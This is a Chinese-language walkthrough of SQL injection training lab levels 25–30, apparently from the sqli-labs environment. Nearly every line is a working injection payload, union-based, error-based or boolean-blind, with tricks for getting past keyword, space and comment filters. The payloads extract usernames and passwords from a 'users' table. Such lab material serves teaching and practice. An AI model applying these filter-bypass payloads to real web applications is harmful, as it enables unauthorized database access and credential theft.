25关
输入?id=1’ 报错 ?id=1’ --+ 正常回显 说明存在字符型注入
输入and 1=1 发现and被过滤
输入order by 发现 or
被过滤
由于不能使用or和and ,所以直接使用联合查询
3正常 4报错 ,说明只有三个字段 回显位是2 和3
然后就可以套用payload了
/?id=-1’ union select 1,2,database()--+ // 获取数据库名
/?id=-1’ union select 1,2,group_concat(table_name) from
infoorrmation_schema.tables where table_schema='security'--+
//获取name的全部表名,information 也有or 所以要双写
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+ //获取字段名
?id=-1' union select 1,group_concat('~',id,username,passwoorrd),3 from security.users --+ //获取数据
25a关
输入?id=1 正常显示
?id=1 and 1=1 报错 and被过滤
?id=1 anandd 1=1 正常显示
?id=1 anandd 1=2 不回显 说明存在数字型注入
判断字段数 发现or被过滤
双写or 判断字段数
3不报错,4报错,说明只有3个字段
判断回显位置
?id=-1 union select 1,2,3
爆当前数据库名
?id=-1 union select 1,2,database()
爆表名
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'
爆字段
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'
爆数据 逐条获取
?id=-1 union select 1,2,concat_ws('!',id,username,passwoorrd) from security.users limit 0,1--+
26关
?id=1 正常回显
?id=1 and 1=1 发现空格 和and被过滤
?id=1 anandd 1=2 也正常回显
?id=1’ 报错 存在字符型注入
?id=1’--+发现注释符被过滤
尝试用 ’ 形成新的闭合, 发现可以
由于空格被过滤,注释符 and 都被过滤
所以尝试用报错注入
?id=1'anandd(updataxml(1,concat(0x5e,database(),0x5e),1))anandd' 获取库名
/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x5e),1)||'
获取表名
?id=0'||updatexml(1,concat(0x5e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),0x5e),1)||' 获取字段名
?id=0'||updatexml(1, concat(0x5e, ( select (group_concat(concat_ws(0x5e,username,passwoorrd))) from (security.users)%20 where (id=1) ) )%20%20 ,1)||' 逐个获取值
26a关
经过判断为字符型注入,闭合符号为’) 过滤了空格和or and 大部分注释符
我们windows环境下面绕过空格用(但是他是()的闭合 所以只能%a0绕过 但是windowsurl编码转换不了 所以只能在liunx或者ubuntu环境下才行
用布尔盲注进行注入(windows环境下)
猜测数据库名为8 猜对了
?id=1%27)anandd(length(database())=8)||(%27
猜测7 不对,没有返回值
逐个采取数据库的字母
?id=1%27)anandd(substr(database(),1,1)='s')||(%27 第一个字母为s
第二个字母
?id=1%27)anandd(substr(database(),2,1)='e')||(%27
经过猜测和不短尝试,数据名为security
猜测数据库表名
?id=1')anandd (substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e') ;%00
?id=1')anandd (substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),2,1)='m') ;%00
第二个字母
经过猜测 表名有
emails referers uagen ts users
获取users字段名
?id=1')anandd (substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),1,1)='i') ;%00
?id=1')anandd (substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),2,1)='d') ;%00
第二个字母
经过测试 字段有 id username password
爆值
?id=1') anandd (substr((select( concat_ws(',',username,password)) from (security.users )),1,1)='D') ;%00
思路就是这样,需要不断的猜测
27关
经过判断为字符型注入,闭合符为’ ,过滤了部分注释符,空格也被过滤
Union unino select Select 也被过滤
空格可以用/*%0a*/ union select 用不规则大小写绕过
暴库
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||'
爆表
?id=0'/*%0a*/uNiOn/*%0a*/sEleCt/*%0a*/1,2,group_concat(table_name)/*%0a*/from/*%0a*/information_schema.tables/*%0a*/where/*%0a*/table_schema='security'||'
爆字段
?id=0'/*%0a*/uNiOn/*%0a*/sEleCt/*%0a*/1,2,group_concat(column_name)/*%0a*/from/*%0a*/information_schema.columns/*%0a*/where/*%0a*/table_schema='security'/*%0a*/and/*%0a*/table_name='users'||'
爆值
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||'
27a关
过滤了空格,注释符,union select 无明显错误回显
可以使用布尔盲注 也可以使用联合查询
这里用布尔盲注
猜测数据库长度
?id=1"/*%0a*/and /*%0a*/length(database())=8/*%0a*/||"
猜测数据库名
?id=1"/*%0a*/and /*%0a*/substr(database(),1,8)='security'/*%0a*/||"
可以单个字母猜测,也可以多个字母,这里是因为直到名字
猜测表名
?id=1"/*%0a*/ and/*%0a*/ substr((sEleCt /*%0a*/table_name /*%0a*/from /*%0a*/information_schema.tables /*%0a*/where/*%0a*/ table_schema='security' /*%0a*/limit/*%0a*/0,1),1,1)='e'/*%0a*/||"
猜测字段名
?id=1"/*%0a*/ and/*%0a*/ substr((sEleCt /*%0a*/column_name /*%0a*/from /*%0a*/information_schema.columns /*%0a*/where/*%0a*/ table_schema='security' /*%0a*/and /*%0a*/table_name='users' /*%0a*/limit/*%0a*/0,1),1,1)='i'||"
猜测数据的值
?id=1" /*%0a*/and /*%0a*/substr((sEleCt/*%0a*/ concat_ws(',',username,password)/*%0a*/ from /*%0a*/security.users /*%0a*/limit/*%0a*/ 0,1),1,1)='D'||"
28关
基于联合查询的字符型注入
闭合符号为’) 过滤了union select 和注释符,以及空格
判断字段数
?id=1')/*%0A*/order/*%0A*/by/*%0A*/3||(' 字段数为3
判断回显位置
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/all/*%0A*/SeLEct/*%0A*/1,2,3||('
暴库
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,database(),3/*%0A*/||('
爆表
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,group_concat(table_name),3/*%0A*/from/*%0A*/information_schema.tables/*%0A*/where/*%0A*/table_schema='security'/*%0A*/||('
爆字段
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,group_concat(column_name),3/*%0A*/from/*%0A*/information_schema.columns/*%0A*/where/*%0A*/table_schema='security'and/*%0A*/table_name='users'/*%0A*/||('
爆值
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIoN/*%0A*/all/*%0A*/SeLeCt/*%0A*/1,(SeLeCt/*%0A*/group_concat(concat_ws('$',id,username,password))/*%0A*/from/*%0A*/users),3/*%0A*/||('
28a关
基于联合查询的字符型注入
闭合符号为’) 过滤了union select 和注释符,以及空格
与28关基本一样
回显
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/unIon/*%0A*/sElect/*%0A*/1,2,3||('
暴库
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/unIon/*%0A*/sElect/*%0A*/1,database(),3||('
爆表
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/unIon/*%0A*/sElect/*%0A*/1,group_concat(table_name),3/*%0A*/from/*%0A*/information_schema.tables/*%0A*/where/*%0A*/table_schema='security'/*%0A*/||('
爆字段
?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/unIon/*%0A*/sElect/*%0A*/1,group_concat(column_name),3/*%0A*/from/*%0A*/information_schema.columns/*%0A*/where/*%0A*/table_schema='security'/*%0A*/and/*%0A*/table_name='users'/*%0A*/||('
爆值
/?id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIoN/*%0A*/SeLeCt/*%0A*/1,(SeLeCt/*%0A*/group_concat(concat_ws('$',id,username,password))/*%0A*/from/*%0A*/users),3/*%0A*/||('
29关
闭合字符为’ 基于报错函数的字符型注入
爆库
?id=1' and extractvalue(1,concat('~',database()))--+
爆表
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
爆字段
?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
爆值
?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+
29/login.php关
闭合字符为’ 基于联合查询的字符型注入
判断字段数
?id=1&id=1' order by 3--+
?id=1&id=1' order by 4--+ 报错,字段为3
判断回显位置
?id=1&id=-1'union select 1,2,3--+
暴库
?id=1&id=-1'union select 1,2,database()--+
爆表
?id=1&id=-1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
爆字段
?id=1&id=-1'union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
爆值
?id=1&id=-1'union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
30关
闭合字符为” 基于联合查询的字符型注入
判断字段
?id=1" order by 3--+
?id=1" order by 4--+ 字段为3
判断回显
?id=-1" union select 1,2,3--+
爆库
?id=-1" union select 1,2,database()--+
爆表
?id=-1"union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
爆字段
?id=-1"union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
爆值
?id=-1"union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
30/login.php关
与30关一样
写两个id=1,用&连接就行
示例
?id=1&id=-1" union select 1,2,database()--+